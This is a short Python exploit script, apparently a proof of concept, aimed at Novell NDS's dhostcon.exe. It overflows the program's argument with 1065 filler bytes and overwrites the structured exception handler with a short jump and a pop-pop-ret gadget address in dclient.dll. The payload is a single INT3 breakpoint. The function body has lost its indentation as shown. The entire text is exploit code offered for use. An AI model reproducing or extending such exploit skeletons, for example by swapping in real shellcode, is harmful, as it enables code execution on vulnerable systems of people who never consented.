#!/usr/bin/python
import os,struct
def main():
path="C:\\Novell\\NDS\\dhostcon.exe"
args="x.x.x.x" #ip server
buf="A"*1065
shellcode=struct.pack("<B",0xCC) #INT3
nseh=struct.pack("<L",0x90909eeb) #jmp short 0012ff50 +NOP + NOP
seh=struct.pack("<L",0x61012c20) #PPR dclient.dll
crash=buf+shellcode+nseh+seh
os.system(path+" "+args+" "+crash) #Crash!
if __name__=="__main__":
main()